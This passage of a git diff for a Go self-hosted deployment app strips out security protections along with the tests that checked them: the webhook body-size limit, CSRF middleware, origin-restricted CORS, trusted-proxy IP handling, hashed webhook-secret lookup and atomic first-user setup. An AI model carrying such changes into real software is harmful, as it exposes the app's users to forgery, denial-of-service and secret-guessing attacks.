-			input:    "line1\r\nline2\r\n",
-			expected: "line1\r\nline2\r\n",
-		},
-		{
-			name:     "strips mixed escape sequences",
-			input:    "\x1b[32m2024-01-01\x1b[0m \x1b[1mINFO\x1b[0m starting\x00\n",
-			expected: "2024-01-01 INFO starting\n",
-		},
-		{
-			name:     "empty string",
-			input:    "",
-			expected: "",
-		},
-		{
-			name:     "only control characters",
-			input:    "\x00\x01\x02\x03",
-			expected: "",
-		},
-		{
-			name:     "cursor movement sequences stripped",
-			input:    "\x1b[2J\x1b[H\x1b[3Atext\n",
-			expected: "text\n",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			t.Parallel()
-
-			got := handlers.SanitizeLogs(tt.input)
-			if got != tt.expected {
-				t.Errorf("SanitizeLogs(%q) = %q, want %q", tt.input, got, tt.expected)
-			}
-		})
-	}
-}
--- a/internal/handlers/setup.go
+++ b/internal/handlers/setup.go
@@ -15,10 +15,14 @@ const (
 func (h *Handlers) HandleSetupGET() http.HandlerFunc {
 	tmpl := templates.GetParsed()

-	return func(writer http.ResponseWriter, request *http.Request) {
-		data := h.addGlobals(map[string]any{}, request)
+	return func(writer http.ResponseWriter, _ *http.Request) {
+		data := h.addGlobals(map[string]any{})

-		h.renderTemplate(writer, tmpl, "setup.html", data)
+		err := tmpl.ExecuteTemplate(writer, "setup.html", data)
+		if err != nil {
+			h.log.Error("template execution failed", "error", err)
+			http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
+		}
 	}
 }

@@ -50,15 +54,14 @@ func validateSetupForm(formData setupFormData) string {
 func (h *Handlers) renderSetupError(
 	tmpl *templates.TemplateExecutor,
 	writer http.ResponseWriter,
-	request *http.Request,
 	username string,
 	errorMsg string,
 ) {
 	data := h.addGlobals(map[string]any{
 		"Username": username,
 		"Error":    errorMsg,
-	}, request)
-	h.renderTemplate(writer, tmpl, "setup.html", data)
+	})
+	_ = tmpl.ExecuteTemplate(writer, "setup.html", data)
 }

 // HandleSetupPOST handles the setup form submission.
@@ -80,7 +83,7 @@ func (h *Handlers) HandleSetupPOST() http.HandlerFunc {
 		}

 		if validationErr := validateSetupForm(formData); validationErr != "" {
-			h.renderSetupError(tmpl, writer, request, formData.username, validationErr)
+			h.renderSetupError(tmpl, writer, formData.username, validationErr)

 			return
 		}
@@ -92,7 +95,7 @@ func (h *Handlers) HandleSetupPOST() http.HandlerFunc {
 		)
 		if createErr != nil {
 			h.log.Error("failed to create user", "error", createErr)
-			h.renderSetupError(tmpl, writer, request, formData.username, "Failed to create user")
+			h.renderSetupError(tmpl, writer, formData.username, "Failed to create user")

 			return
 		}
@@ -103,7 +106,6 @@ func (h *Handlers) HandleSetupPOST() http.HandlerFunc {
 			h.renderSetupError(
 				tmpl,
 				writer,
-				request,
 				formData.username,
 				"Failed to create session",
 			)
--- a/internal/handlers/tail_validation_test.go
+++ b/internal/handlers/tail_validation_test.go
@@ -1,40 +0,0 @@
-package handlers_test
-
-import (
-	"testing"
-
-	"git.eeqj.de/sneak/upaas/internal/handlers"
-)
-
-func TestSanitizeTail(t *testing.T) {
-	t.Parallel()
-
-	tests := []struct {
-		name     string
-		input    string
-		expected string
-	}{
-		{"empty uses default", "", handlers.DefaultLogTail},
-		{"valid small number", "50", "50"},
-		{"valid max boundary", "500", "500"},
-		{"exceeds max clamped", "501", "500"},
-		{"very large clamped", "999999", "500"},
-		{"non-numeric uses default", "abc", handlers.DefaultLogTail},
-		{"all keyword uses default", "all", handlers.DefaultLogTail},
-		{"negative uses default", "-1", handlers.DefaultLogTail},
-		{"zero uses default", "0", handlers.DefaultLogTail},
-		{"float uses default", "1.5", handlers.DefaultLogTail},
-		{"one is valid", "1", "1"},
-	}
-
-	for _, tc := range tests {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			got := handlers.SanitizeTail(tc.input)
-			if got != tc.expected {
-				t.Errorf("sanitizeTail(%q) = %q, want %q", tc.input, got, tc.expected)
-			}
-		})
-	}
-}
--- a/internal/handlers/volume_validation_test.go
+++ b/internal/handlers/volume_validation_test.go
@@ -1,34 +0,0 @@
-package handlers //nolint:testpackage // tests exported ValidateVolumePath function
-
-import "testing"
-
-func TestValidateVolumePath(t *testing.T) {
-	t.Parallel()
-
-	tests := []struct {
-		name    string
-		path    string
-		wantErr bool
-	}{
-		{"valid absolute path", "/data/myapp", false},
-		{"root path", "/", false},
-		{"empty path", "", true},
-		{"relative path", "data/myapp", true},
-		{"path with dotdot", "/data/../etc", true},
-		{"path with trailing slash", "/data/", true},
-		{"path with double slash", "/data//myapp", true},
-		{"single dot path", ".", true},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			t.Parallel()
-
-			err := ValidateVolumePath(tt.path)
-			if (err != nil) != tt.wantErr {
-				t.Errorf("ValidateVolumePath(%q) error = %v, wantErr %v",
-					tt.path, err, tt.wantErr)
-			}
-		})
-	}
-}
--- a/internal/handlers/webhook.go
+++ b/internal/handlers/webhook.go
@@ -9,9 +9,6 @@ import (
 	"git.eeqj.de/sneak/upaas/internal/models"
 )

-// maxWebhookBodySize is the maximum allowed size of a webhook request body (1MB).
-const maxWebhookBodySize = 1 << 20
-
 // HandleWebhook handles incoming Gitea webhooks.
 func (h *Handlers) HandleWebhook() http.HandlerFunc {
 	return func(writer http.ResponseWriter, request *http.Request) {
@@ -41,8 +38,8 @@ func (h *Handlers) HandleWebhook() http.HandlerFunc {
 			return
 		}

-		// Read request body with size limit to prevent memory exhaustion
-		body, readErr := io.ReadAll(io.LimitReader(request.Body, maxWebhookBodySize))
+		// Read request body
+		body, readErr := io.ReadAll(request.Body)
 		if readErr != nil {
 			h.log.Error("failed to read webhook body", "error", readErr)
 			http.Error(writer, "Bad Request", http.StatusBadRequest)
--- a/internal/middleware/cors_test.go
+++ b/internal/middleware/cors_test.go
@@ -1,81 +0,0 @@
-package middleware //nolint:testpackage // tests internal CORS behavior
-
-import (
-	"log/slog"
-	"net/http"
-	"net/http/httptest"
-	"testing"
-
-	"github.com/stretchr/testify/assert"
-
-	"git.eeqj.de/sneak/upaas/internal/config"
-)
-
-//nolint:gosec // test credentials
-func newCORSTestMiddleware(corsOrigins string) *Middleware {
-	return &Middleware{
-		log: slog.Default(),
-		params: &Params{
-			Config: &config.Config{
-				CORSOrigins:   corsOrigins,
-				SessionSecret: "test-secret-32-bytes-long-enough",
-			},
-		},
-	}
-}
-
-func TestCORS_NoOriginsConfigured_NoCORSHeaders(t *testing.T) {
-	t.Parallel()
-
-	m := newCORSTestMiddleware("")
-	handler := m.CORS()(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
-		w.WriteHeader(http.StatusOK)
-	}))
-
-	req := httptest.NewRequest(http.MethodGet, "/", nil)
-	req.Header.Set("Origin", "https://evil.com")
-
-	rec := httptest.NewRecorder()
-	handler.ServeHTTP(rec, req)
-
-	assert.Empty(t, rec.Header().Get("Access-Control-Allow-Origin"),
-		"expected no CORS headers when no origins configured")
-}
-
-func TestCORS_OriginsConfigured_AllowsMatchingOrigin(t *testing.T) {
-	t.Parallel()
-
-	m := newCORSTestMiddleware("https://app.example.com,https://other.example.com")
-	handler := m.CORS()(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
-		w.WriteHeader(http.StatusOK)
-	}))
-
-	req := httptest.NewRequest(http.MethodGet, "/", nil)
-	req.Header.Set("Origin", "https://app.example.com")
-
-	rec := httptest.NewRecorder()
-	handler.ServeHTTP(rec, req)
-
-	assert.Equal(t, "https://app.example.com",
-		rec.Header().Get("Access-Control-Allow-Origin"))
-	assert.Equal(t, "true",
-		rec.Header().Get("Access-Control-Allow-Credentials"))
-}
-
-func TestCORS_OriginsConfigured_RejectsNonMatchingOrigin(t *testing.T) {
-	t.Parallel()
-
-	m := newCORSTestMiddleware("https://app.example.com")
-	handler := m.CORS()(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
-		w.WriteHeader(http.StatusOK)
-	}))
-
-	req := httptest.NewRequest(http.MethodGet, "/", nil)
-	req.Header.Set("Origin", "https://evil.com")
-
-	rec := httptest.NewRecorder()
-	handler.ServeHTTP(rec, req)
-
-	assert.Empty(t, rec.Header().Get("Access-Control-Allow-Origin"),
-		"expected no CORS headers for non-matching origin")
-}
--- a/internal/middleware/middleware.go
+++ b/internal/middleware/middleware.go
@@ -2,19 +2,17 @@
 package middleware

 import (
+	"fmt"
 	"log/slog"
 	"math"
 	"net"
 	"net/http"
-	"strconv"
-	"strings"
 	"sync"
 	"time"

 	"github.com/99designs/basicauth-go"
 	"github.com/go-chi/chi/v5/middleware"
 	"github.com/go-chi/cors"
-	"github.com/gorilla/csrf"
 	"go.uber.org/fx"
 	"golang.org/x/time/rate"

@@ -91,7 +89,7 @@ func (m *Middleware) Logging() func(http.Handler) http.Handler {
 					"request_id", reqID,
 					"referer", request.Referer(),
 					"proto", request.Proto,
-					"remoteIP", realIP(request),
+					"remoteIP", ipFromHostPort(request.RemoteAddr),
 					"status", lrw.statusCode,
 					"latency_ms", latency.Milliseconds(),
 				)
@@ -111,114 +109,18 @@ func ipFromHostPort(hostPort string) string {
 	return host
 }

-// trustedProxyNets are RFC1918 and loopback CIDRs whose proxy headers we trust.
-//
-//nolint:gochecknoglobals // package-level constant nets parsed once
-var trustedProxyNets = func() []*net.IPNet {
-	cidrs := []string{
-		"10.0.0.0/8",
-		"172.16.0.0/12",
-		"192.168.0.0/16",
-		"127.0.0.0/8",
-		"::1/128",
-		"fc00::/7",
-	}
-
-	nets := make([]*net.IPNet, 0, len(cidrs))
-
-	for _, cidr := range cidrs {
-		_, n, _ := net.ParseCIDR(cidr)
-		nets = append(nets, n)
-	}
-
-	return nets
-}()
-
-// isTrustedProxy reports whether ip is in an RFC1918, loopback, or ULA range.
-func isTrustedProxy(ip net.IP) bool {
-	for _, n := range trustedProxyNets {
-		if n.Contains(ip) {
-			return true
-		}
-	}
-
-	return false
-}
-
-// realIP extracts the client's real IP address from the request.
-// Proxy headers (X-Real-IP, X-Forwarded-For) are only trusted when the
-// direct connection originates from an RFC1918/loopback address.
-// Otherwise, headers are ignored and RemoteAddr is used (fail closed).
-func realIP(r *http.Request) string {
-	addr := ipFromHostPort(r.RemoteAddr)
-	remoteIP := net.ParseIP(addr)
-
-	// Only trust proxy headers from private/loopback sources.
-	if remoteIP == nil || !isTrustedProxy(remoteIP) {
-		return addr
-	}
-
-	// 1. X-Real-IP (set by Traefik/nginx)
-	if ip := strings.TrimSpace(r.Header.Get("X-Real-IP")); ip != "" {
-		return ip
-	}
-
-	// 2. X-Forwarded-For: take the first (leftmost/client) IP
-	if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
-		if parts := strings.SplitN(xff, ",", 2); len(parts) > 0 { //nolint:mnd
-			if ip := strings.TrimSpace(parts[0]); ip != "" {
-				return ip
-			}
-		}
-	}
-
-	// 3. Fall back to RemoteAddr
-	return addr
-}
-
 // CORS returns CORS middleware.
-// When UPAAS_CORS_ORIGINS is empty (default), no CORS headers are sent
-// (same-origin only). When configured, only the specified origins are
-// allowed and credentials (cookies) are permitted.
 func (m *Middleware) CORS() func(http.Handler) http.Handler {
-	origins := parseCORSOrigins(m.params.Config.CORSOrigins)
-
-	// No origins configured — no CORS headers (same-origin policy).
-	if len(origins) == 0 {
-		return func(next http.Handler) http.Handler {
-			return next
-		}
-	}
-
 	return cors.Handler(cors.Options{
-		AllowedOrigins:   origins,
+		AllowedOrigins:   []string{"*"},
 		AllowedMethods:   []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
 		AllowedHeaders:   []string{"Accept", "Authorization", "Content-Type", "X-CSRF-Token"},
 		ExposedHeaders:   []string{"Link"},
-		AllowCredentials: true,
+		AllowCredentials: false,
 		MaxAge:           corsMaxAge,
 	})
 }

-// parseCORSOrigins splits a comma-separated origin string into a slice,
-// trimming whitespace. Returns nil if the input is empty.
-func parseCORSOrigins(raw string) []string {
-	if raw == "" {
-		return nil
-	}
-
-	parts := strings.Split(raw, ",")
-	origins := make([]string, 0, len(parts))
-
-	for _, p := range parts {
-		if o := strings.TrimSpace(p); o != "" {
-			origins = append(origins, o)
-		}
-	}
-
-	return origins
-}
-
 // MetricsAuth returns basic auth middleware for metrics endpoint.
 func (m *Middleware) MetricsAuth() func(http.Handler) http.Handler {
 	if m.params.Config.MetricsUsername == "" {
@@ -254,15 +156,6 @@ func (m *Middleware) SessionAuth() func(http.Handler) http.Handler {
 	}
 }

-// CSRF returns CSRF protection middleware using gorilla/csrf.
-func (m *Middleware) CSRF() func(http.Handler) http.Handler {
-	return csrf.Protect(
-		[]byte(m.params.Config.SessionSecret),
-		csrf.Secure(false), // Allow HTTP for development; reverse proxy handles TLS
-		csrf.Path("/"),
-	)
-}
-
 // loginRateLimit configures the login rate limiter.
 const (
 	loginRateLimit      = rate.Limit(5.0 / 60.0) // 5 requests per 60 seconds
@@ -299,7 +192,6 @@ func (i *ipLimiter) sweep(now time.Time) {
 			delete(i.limiters, ip)
 		}
 	}
-
 	i.lastSweep = now
 }

@@ -321,7 +213,6 @@ func (i *ipLimiter) getLimiter(ip string) *rate.Limiter {
 		}
 		i.limiters[ip] = entry
 	}
-
 	entry.lastSeen = now

 	return entry.limiter
@@ -340,7 +231,7 @@ func (m *Middleware) LoginRateLimit() func(http.Handler) http.Handler {
 			writer http.ResponseWriter,
 			request *http.Request,
 		) {
-			ip := realIP(request)
+			ip := ipFromHostPort(request.RemoteAddr)
 			limiter := loginLimiter.getLimiter(ip)

 			if !limiter.Allow() {
@@ -352,9 +243,11 @@ func (m *Middleware) LoginRateLimit() func(http.Handler) http.Handler {
 				reservation := limiter.Reserve()
 				delay := reservation.Delay()
 				reservation.Cancel()
-
-				retryAfter := max(int(math.Ceil(delay.Seconds())), 1)
-				writer.Header().Set("Retry-After", strconv.Itoa(retryAfter))
+				retryAfter := int(math.Ceil(delay.Seconds()))
+				if retryAfter < 1 {
+					retryAfter = 1
+				}
+				writer.Header().Set("Retry-After", fmt.Sprintf("%d", retryAfter))

 				http.Error(
 					writer,
@@ -370,27 +263,6 @@ func (m *Middleware) LoginRateLimit() func(http.Handler) http.Handler {
 	}
 }

-// APISessionAuth returns middleware that requires session authentication for API routes.
-// Unlike SessionAuth, it returns JSON 401 responses instead of redirecting to /login.
-func (m *Middleware) APISessionAuth() func(http.Handler) http.Handler {
-	return func(next http.Handler) http.Handler {
-		return http.HandlerFunc(func(
-			writer http.ResponseWriter,
-			request *http.Request,
-		) {
-			user, err := m.params.Auth.GetCurrentUser(request.Context(), request)
-			if err != nil || user == nil {
-				writer.Header().Set("Content-Type", "application/json")
-				http.Error(writer, `{"error":"unauthorized"}`, http.StatusUnauthorized)
-
-				return
-			}
-
-			next.ServeHTTP(writer, request)
-		})
-	}
-}
-
 // SetupRequired returns middleware that redirects to setup if no user exists.
 func (m *Middleware) SetupRequired() func(http.Handler) http.Handler {
 	return func(next http.Handler) http.Handler {
--- a/internal/middleware/ratelimit_test.go
+++ b/internal/middleware/ratelimit_test.go
@@ -1,4 +1,4 @@
-package middleware //nolint:testpackage // tests unexported types and globals
+package middleware

 import (
 	"log/slog"
@@ -23,7 +23,6 @@ func newTestMiddleware(t *testing.T) *Middleware {
 	}
 }

-//nolint:paralleltest // mutates global loginLimiter
 func TestLoginRateLimitAllowsUpToBurst(t *testing.T) {
 	// Reset the global limiter to get clean state
 	loginLimiter = newIPLimiter()
@@ -51,7 +50,6 @@ func TestLoginRateLimitAllowsUpToBurst(t *testing.T) {
 	assert.Equal(t, http.StatusTooManyRequests, rec.Code, "6th request should be rate limited")
 }

-//nolint:paralleltest // mutates global loginLimiter
 func TestLoginRateLimitIsolatesIPs(t *testing.T) {
 	loginLimiter = newIPLimiter()

@@ -84,7 +82,6 @@ func TestLoginRateLimitIsolatesIPs(t *testing.T) {
 	assert.Equal(t, http.StatusOK, rec2.Code, "different IP should not be rate limited")
 }

-//nolint:paralleltest // mutates global loginLimiter
 func TestLoginRateLimitReturns429Body(t *testing.T) {
 	loginLimiter = newIPLimiter()

@@ -112,8 +109,6 @@ func TestLoginRateLimitReturns429Body(t *testing.T) {
 }

 func TestIPLimiterEvictsStaleEntries(t *testing.T) {
-	t.Parallel()
-
 	il := newIPLimiter()

 	// Add an entry and backdate its lastSeen
@@ -135,7 +130,6 @@ func TestIPLimiterEvictsStaleEntries(t *testing.T) {

 	il.mu.Lock()
 	defer il.mu.Unlock()
-
 	assert.NotContains(t, il.limiters, "1.2.3.4", "stale entry should be evicted")
 	assert.Contains(t, il.limiters, "5.6.7.8", "fresh entry should remain")
 }
--- a/internal/middleware/realip_test.go
+++ b/internal/middleware/realip_test.go
@@ -1,157 +0,0 @@
-package middleware //nolint:testpackage // tests unexported realIP function
-
-import (
-	"context"
-	"net"
-	"net/http"
-	"testing"
-)
-
-func TestRealIP(t *testing.T) { //nolint:funlen // table-driven test
-	t.Parallel()
-
-	tests := []struct {
-		name       string
-		remoteAddr string
-		xRealIP    string
-		xff        string
-		want       string
-	}{
-		// === Trusted proxy (RFC1918 / loopback) — headers ARE honoured ===
-		{
-			name:       "trusted: X-Real-IP from 10.x",
-			remoteAddr: "10.0.0.1:1234",
-			xRealIP:    "203.0.113.5",
-			xff:        "198.51.100.1, 10.0.0.1",
-			want:       "203.0.113.5",
-		},
-		{
-			name:       "trusted: XFF from 10.x when no X-Real-IP",
-			remoteAddr: "10.0.0.1:1234",
-			xff:        "198.51.100.1, 10.0.0.1",
-			want:       "198.51.100.1",
-		},
-		{
-			name:       "trusted: XFF single IP from 10.x",
-			remoteAddr: "10.0.0.1:1234",
-			xff:        "203.0.113.10",
-			want:       "203.0.113.10",
-		},
-		{
-			name:       "trusted: falls back to RemoteAddr (192.168.x)",
-			remoteAddr: "192.168.1.1:5678",
-			want:       "192.168.1.1",
-		},
-		{
-			name:       "trusted: RemoteAddr without port",
-			remoteAddr: "192.168.1.1",
-			want:       "192.168.1.1",
-		},
-		{
-			name:       "trusted: X-Real-IP with whitespace from 10.x",
-			remoteAddr: "10.0.0.1:1234",
-			xRealIP:    "  203.0.113.5  ",
-			want:       "203.0.113.5",
-		},
-		{
-			name:       "trusted: XFF with whitespace from 10.x",
-			remoteAddr: "10.0.0.1:1234",
-			xff:        "  198.51.100.1 , 10.0.0.1",
-			want:       "198.51.100.1",
-		},
-		{
-			name:       "trusted: empty X-Real-IP falls through to XFF from 10.x",
-			remoteAddr: "10.0.0.1:1234",
-			xRealIP:    "  ",
-			xff:        "198.51.100.1",
-			want:       "198.51.100.1",
-		},
-		{
-			name:       "trusted: loopback honours X-Real-IP",
-			remoteAddr: "127.0.0.1:9999",
-			xRealIP:    "93.184.216.34",
-			want:       "93.184.216.34",
-		},
-		{
-			name:       "trusted: 172.16.x honours XFF",
-			remoteAddr: "172.16.0.1:4321",
-			xff:        "8.8.8.8",
-			want:       "8.8.8.8",
-		},
-
-		// === Untrusted proxy (public IP) — headers IGNORED, use RemoteAddr ===
-		{
-			name:       "untrusted: X-Real-IP ignored from public IP",
-			remoteAddr: "203.0.113.50:1234",
-			xRealIP:    "10.0.0.1",
-			want:       "203.0.113.50",
-		},
-		{
-			name:       "untrusted: XFF ignored from public IP",
-			remoteAddr: "198.51.100.99:5678",
-			xff:        "10.0.0.1, 192.168.1.1",
-			want:       "198.51.100.99",
-		},
-		{
-			name:       "untrusted: both headers ignored from public IP",
-			remoteAddr: "8.8.8.8:443",
-			xRealIP:    "1.2.3.4",
-			xff:        "5.6.7.8",
-			want:       "8.8.8.8",
-		},
-		{
-			name:       "untrusted: no headers, public RemoteAddr",
-			remoteAddr: "93.184.216.34:8080",
-			want:       "93.184.216.34",
-		},
-		{
-			name:       "untrusted: public RemoteAddr without port",
-			remoteAddr: "93.184.216.34",
-			want:       "93.184.216.34",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			t.Parallel()
-
-			req, _ := http.NewRequestWithContext(context.Background(), http.MethodGet, "/", nil)
-			req.RemoteAddr = tt.remoteAddr
-
-			if tt.xRealIP != "" {
-				req.Header.Set("X-Real-IP", tt.xRealIP)
-			}
-
-			if tt.xff != "" {
-				req.Header.Set("X-Forwarded-For", tt.xff)
-			}
-
-			got := realIP(req)
-			if got != tt.want {
-				t.Errorf("realIP() = %q, want %q", got, tt.want)
-			}
-		})
-	}
-}
-
-func TestIsTrustedProxy(t *testing.T) {
-	t.Parallel()
-
-	trusted := []string{"10.0.0.1", "10.255.255.255", "172.16.0.1", "172.31.255.255",
-		"192.168.0.1", "192.168.255.255", "127.0.0.1", "127.255.255.255", "::1"}
-	untrusted := []string{"8.8.8.8", "203.0.113.1", "172.32.0.1", "11.0.0.1", "2001:db8::1"}
-
-	for _, addr := range trusted {
-		ip := net.ParseIP(addr)
-		if !isTrustedProxy(ip) {
-			t.Errorf("expected %s to be trusted", addr)
-		}
-	}
-
-	for _, addr := range untrusted {
-		ip := net.ParseIP(addr)
-		if isTrustedProxy(ip) {
-			t.Errorf("expected %s to be untrusted", addr)
-		}
-	}
-}
--- a/internal/models/app.go
+++ b/internal/models/app.go
@@ -10,12 +10,6 @@ import (
 	"git.eeqj.de/sneak/upaas/internal/database"
 )

-// appColumns is the standard column list for app queries.
-const appColumns = `id, name, repo_url, branch, dockerfile_path, webhook_secret,
-			ssh_private_key, ssh_public_key, image_id, status,
-			docker_network, ntfy_topic, slack_webhook, webhook_secret_hash,
-			previous_image_id, created_at, updated_at`
-
 // AppStatus represents the status of an app.
 type AppStatus string

@@ -38,11 +32,9 @@ type App struct {
 	Branch         string
 	DockerfilePath string
 	WebhookSecret  string
-	WebhookSecretHash string
 	SSHPrivateKey  string
 	SSHPublicKey   string
 	ImageID        sql.NullString
-	PreviousImageID   sql.NullString
 	Status         AppStatus
 	DockerNetwork  sql.NullString
 	NtfyTopic      sql.NullString
@@ -78,8 +70,11 @@ func (a *App) Delete(ctx context.Context) error {

 // Reload refreshes the app from the database.
 func (a *App) Reload(ctx context.Context) error {
-	row := a.db.QueryRow(ctx,
-		"SELECT "+appColumns+" FROM apps WHERE id = ?",
+	row := a.db.QueryRow(ctx, `
+		SELECT id, name, repo_url, branch, dockerfile_path, webhook_secret,
+			ssh_private_key, ssh_public_key, image_id, status,
+			docker_network, ntfy_topic, slack_webhook, created_at, updated_at
+		FROM apps WHERE id = ?`,
 		a.ID,
 	)

@@ -141,15 +136,13 @@ func (a *App) insert(ctx context.Context) error {
 		INSERT INTO apps (
 			id, name, repo_url, branch, dockerfile_path, webhook_secret,
 			ssh_private_key, ssh_public_key, image_id, status,
-			docker_network, ntfy_topic, slack_webhook, webhook_secret_hash,
-			previous_image_id
-		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`
+			docker_network, ntfy_topic, slack_webhook
+		) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`

 	_, err := a.db.Exec(ctx, query,
 		a.ID, a.Name, a.RepoURL, a.Branch, a.DockerfilePath, a.WebhookSecret,
 		a.SSHPrivateKey, a.SSHPublicKey, a.ImageID, a.Status,
-		a.DockerNetwork, a.NtfyTopic, a.SlackWebhook, a.WebhookSecretHash,
-		a.PreviousImageID,
+		a.DockerNetwork, a.NtfyTopic, a.SlackWebhook,
 	)
 	if err != nil {
 		return err
@@ -164,7 +157,6 @@ func (a *App) update(ctx context.Context) error {
 			name = ?, repo_url = ?, branch = ?, dockerfile_path = ?,
 			image_id = ?, status = ?,
 			docker_network = ?, ntfy_topic = ?, slack_webhook = ?,
-			previous_image_id = ?,
 			updated_at = CURRENT_TIMESTAMP
 		WHERE id = ?`

@@ -172,7 +164,6 @@ func (a *App) update(ctx context.Context) error {
 		a.Name, a.RepoURL, a.Branch, a.DockerfilePath,
 		a.ImageID, a.Status,
 		a.DockerNetwork, a.NtfyTopic, a.SlackWebhook,
-		a.PreviousImageID,
 		a.ID,
 	)

@@ -186,8 +177,6 @@ func (a *App) scan(row *sql.Row) error {
 		&a.SSHPrivateKey, &a.SSHPublicKey,
 		&a.ImageID, &a.Status,
 		&a.DockerNetwork, &a.NtfyTopic, &a.SlackWebhook,
-		&a.WebhookSecretHash,
-		&a.PreviousImageID,
 		&a.CreatedAt, &a.UpdatedAt,
 	)
 }
@@ -204,8 +193,6 @@ func scanApps(appDB *database.Database, rows *sql.Rows) ([]*App, error) {
 			&app.SSHPrivateKey, &app.SSHPublicKey,
 			&app.ImageID, &app.Status,
 			&app.DockerNetwork, &app.NtfyTopic, &app.SlackWebhook,
-			&app.WebhookSecretHash,
-			&app.PreviousImageID,
 			&app.CreatedAt, &app.UpdatedAt,
 		)
 		if scanErr != nil {
@@ -234,8 +221,11 @@ func FindApp(
 	app := NewApp(appDB)
 	app.ID = appID

-	row := appDB.QueryRow(ctx,
-		"SELECT "+appColumns+" FROM apps WHERE id = ?",
+	row := appDB.QueryRow(ctx, `
+		SELECT id, name, repo_url, branch, dockerfile_path, webhook_secret,
+			ssh_private_key, ssh_public_key, image_id, status,
+			docker_network, ntfy_topic, slack_webhook, created_at, updated_at
+		FROM apps WHERE id = ?`,
 		appID,
 	)

@@ -251,8 +241,7 @@ func FindApp(
 	return app, nil
 }

-// FindAppByWebhookSecret finds an app by webhook secret using a SHA-256 hash
-// lookup. This avoids SQL string comparison timing side-channels.
+// FindAppByWebhookSecret finds an app by webhook secret.
 //
 //nolint:nilnil // returning nil,nil is idiomatic for "not found" in Active Record
 func FindAppByWebhookSecret(
@@ -261,11 +250,13 @@ func FindAppByWebhookSecret(
 	secret string,
 ) (*App, error) {
 	app := NewApp(appDB)
-	secretHash := database.HashWebhookSecret(secret)

-	row := appDB.QueryRow(ctx,
-		"SELECT "+appColumns+" FROM apps WHERE webhook_secret_hash = ?",
-		secretHash,
+	row := appDB.QueryRow(ctx, `
+		SELECT id, name, repo_url, branch, dockerfile_path, webhook_secret,
+			ssh_private_key, ssh_public_key, image_id, status,
+			docker_network, ntfy_topic, slack_webhook, created_at, updated_at
+		FROM apps WHERE webhook_secret = ?`,
+		secret,
 	)

 	err := app.scan(row)
@@ -282,8 +273,11 @@ func FindAppByWebhookSecret(

 // AllApps returns all apps ordered by name.
 func AllApps(ctx context.Context, appDB *database.Database) ([]*App, error) {
-	rows, err := appDB.Query(ctx,
-		"SELECT "+appColumns+" FROM apps ORDER BY name",
+	rows, err := appDB.Query(ctx, `
+		SELECT id, name, repo_url, branch, dockerfile_path, webhook_secret,
+			ssh_private_key, ssh_public_key, image_id, status,
+			docker_network, ntfy_topic, slack_webhook, created_at, updated_at
+		FROM apps ORDER BY name`,
 	)
 	if err != nil {
 		return nil, fmt.Errorf("querying all apps: %w", err)
--- a/internal/models/deployment.go
+++ b/internal/models/deployment.go
@@ -19,7 +19,6 @@ const (
 	DeploymentStatusDeploying DeploymentStatus = "deploying"
 	DeploymentStatusSuccess   DeploymentStatus = "success"
 	DeploymentStatusFailed    DeploymentStatus = "failed"
-	DeploymentStatusCancelled DeploymentStatus = "cancelled"
 )

 // Display constants.
--- a/internal/models/models_test.go
+++ b/internal/models/models_test.go
@@ -297,7 +297,6 @@ func TestAllApps(t *testing.T) {
 			app.Branch = testBranch
 			app.DockerfilePath = "Dockerfile"
 			app.WebhookSecret = "secret-" + strconv.Itoa(idx)
-			app.WebhookSecretHash = database.HashWebhookSecret(app.WebhookSecret)
 			app.SSHPrivateKey = "private"
 			app.SSHPublicKey = "public"

@@ -792,7 +791,6 @@ func createTestApp(t *testing.T, testDB *database.Database) *models.App {
 	app.Branch = testBranch
 	app.DockerfilePath = "Dockerfile"
 	app.WebhookSecret = "secret-" + t.Name()
-	app.WebhookSecretHash = database.HashWebhookSecret(app.WebhookSecret)
 	app.SSHPrivateKey = "private"
 	app.SSHPublicKey = "public"

--- a/internal/models/user.go
+++ b/internal/models/user.go
@@ -135,61 +135,6 @@ func FindUserByUsername(
 	return user, nil
 }

-// CreateFirstUser atomically checks that no users exist and inserts the admin user.
-// Returns nil, nil if a user already exists (setup already completed).
-func CreateFirstUser(
-	ctx context.Context,
-	db *database.Database,
-	username, passwordHash string,
-) (*User, error) {
-	tx, err := db.BeginTx(ctx, nil)
-	if err != nil {
-		return nil, fmt.Errorf("beginning transaction: %w", err)
-	}
-
-	defer func() { _ = tx.Rollback() }()
-
-	// Check if any user exists within the transaction.
-	var count int
-
-	err = tx.QueryRowContext(ctx, "SELECT COUNT(*) FROM users").Scan(&count)
-	if err != nil {
-		return nil, fmt.Errorf("checking user count: %w", err)
-	}
-
-	if count > 0 {
-		return nil, nil //nolint:nilnil // nil,nil signals setup already completed
-	}
-
-	result, err := tx.ExecContext(ctx,
-		"INSERT INTO users (username, password_hash) VALUES (?, ?)",
-		username, passwordHash,
-	)
-	if err != nil {
-		return nil, fmt.Errorf("inserting user: %w", err)
-	}
-
-	err = tx.Commit()
-	if err != nil {
-		return nil, fmt.Errorf("committing transaction: %w", err)
-	}
-
-	insertID, err := result.LastInsertId()
-	if err != nil {
-		return nil, fmt.Errorf("getting last insert id: %w", err)
-	}
-
-	user := NewUser(db)
-	user.ID = insertID
-
-	err = user.Reload(ctx)
-	if err != nil {
-		return nil, fmt.Errorf("reloading user: %w", err)
-	}
-
-	return user, nil
-}
-
 // UserExists checks if any user exists in the database.
 func UserExists(ctx context.Context, db *database.Database) (bool, error) {
 	var count int
--- a/internal/server/routes.go
+++ b/internal/server/routes.go
@@ -37,21 +37,17 @@ func (s *Server) SetupRoutes() {
 		http.FileServer(http.FS(static.Static)),
 	))

-	// Webhook endpoint (uses secret for auth, not session — no CSRF)
+	// Public routes
+	s.router.Get("/login", s.handlers.HandleLoginGET())
